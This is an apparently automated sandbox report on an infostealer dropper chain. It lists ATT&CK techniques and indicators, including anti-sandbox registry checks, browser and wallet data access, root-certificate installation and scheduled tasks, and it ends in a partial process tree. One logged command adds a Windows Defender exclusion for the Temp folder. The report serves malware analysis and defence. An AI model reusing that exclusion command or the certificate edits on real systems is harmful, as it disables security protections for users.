redline | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	11284585938.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	11284585938.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	32021373154.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	32021373154.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe

Loads dropped DLL 64 IoCs

pid	Process
1560	setup_x86_x64_install.exe
1508	setup_installer.exe
1508	setup_installer.exe
1508	setup_installer.exe
1508	setup_installer.exe
1508	setup_installer.exe
1508	setup_installer.exe
1168	setup_install.exe
1168	setup_install.exe
1168	setup_install.exe
1168	setup_install.exe
1168	setup_install.exe
1168	setup_install.exe
1168	setup_install.exe
1168	setup_install.exe
1664	cmd.exe
1844	cmd.exe
1888	cmd.exe
1888	cmd.exe
1164	cmd.exe
440	cmd.exe
440	cmd.exe
608	cmd.exe
608	cmd.exe
320	Sun19de8ff4b6aefeb8.exe
320	Sun19de8ff4b6aefeb8.exe
840	cmd.exe
1628	cmd.exe
2028	Sun19262b9e49ad.exe
2028	Sun19262b9e49ad.exe
1568	Sun1908b94df837b3158.exe
1568	Sun1908b94df837b3158.exe
988	cmd.exe
1160	cmd.exe
1984	cmd.exe
1144	Sun1917b8fb5f09db8.exe
1144	Sun1917b8fb5f09db8.exe
920	Sun1966fb31dd5a07.exe
920	Sun1966fb31dd5a07.exe
816	Sun195a1614ec24e6a.exe
816	Sun195a1614ec24e6a.exe
1524	cmd.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1708	setup.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
2160	udptest.exe
2160	udptest.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
1152	LzmwAqmV.exe
2424	setup_2.exe
2424	setup_2.exe
2472	3002.exe
2472	3002.exe
2344	cmd.exe
2472	3002.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	11284585938.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	32021373154.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com
111	ipinfo.io
112	ipinfo.io
345	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2540	11284585938.exe
2348	32021373154.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2088 set thread context of 2336	2088	LzmwAqmV.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
2920	1768	WerFault.exe	61
1588	1144	WerFault.exe	51
2948	2308	WerFault.exe	67
2420	528	WerFault.exe	53
3708	3860	WerFault.exe	152

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	59973395770.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	59973395770.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Sun1966fb31dd5a07.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Sun1966fb31dd5a07.tmp
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Garbage Cleaner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Garbage Cleaner.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2288	schtasks.exe
3184	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2128	timeout.exe
2120	timeout.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
816	bitsadmin.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
2876	taskkill.exe
996	taskkill.exe
2084	taskkill.exe
2788	taskkill.exe
2028	taskkill.exe
3940	taskkill.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Sun19262b9e49ad.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Sun19262b9e49ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	5.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	5.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	70	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1568	Sun1908b94df837b3158.exe
1568	Sun1908b94df837b3158.exe
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1392	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1568	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2028	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	2028	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	2028	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	2028	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	2028	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	2028	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	2028	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	2028	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	2028	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	2028	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	2028	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	2028	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	2028	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	2028	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	2028	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	2028	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	2028	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	2028	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	2028	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	2028	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	2028	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	2028	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	2028	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	2028	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	2028	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	2028	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	2028	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	2028	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	2028	Sun19262b9e49ad.exe
Token: 31	2028	Sun19262b9e49ad.exe
Token: 32	2028	Sun19262b9e49ad.exe
Token: 33	2028	Sun19262b9e49ad.exe
Token: 34	2028	Sun19262b9e49ad.exe
Token: 35	2028	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	1972	Sun191101c1aaa.exe
Token: SeDebugPrivilege	1944	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	816	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	560	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	1768	2.exe
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeDebugPrivilege	2192	5.exe
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeDebugPrivilege	2740	BearVpn 3.exe
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeDebugPrivilege	2920	WerFault.exe
Token: SeDebugPrivilege	2540	11284585938.exe
Token: SeDebugPrivilege	2160	udptest.exe
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeShutdownPrivilege	1392	Process not Found
Token: SeDebugPrivilege	1632	Chrome 5.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1392	Process not Found
1392	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1392	Process not Found
1392	Process not Found
1392	Process not Found
1392	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1560 wrote to memory of 1508	1560	setup_x86_x64_install.exe	28
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1508 wrote to memory of 1168	1508	setup_installer.exe	29
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 1688	1168	setup_install.exe	31
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 840	1168	setup_install.exe	32
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1664	1168	setup_install.exe	33
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1524	1168	setup_install.exe	34
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 1844	1168	setup_install.exe	35
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 440	1168	setup_install.exe	36
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1888	1168	setup_install.exe	37
PID 1168 wrote to memory of 1984	1168	setup_install.exe	38

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1688
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
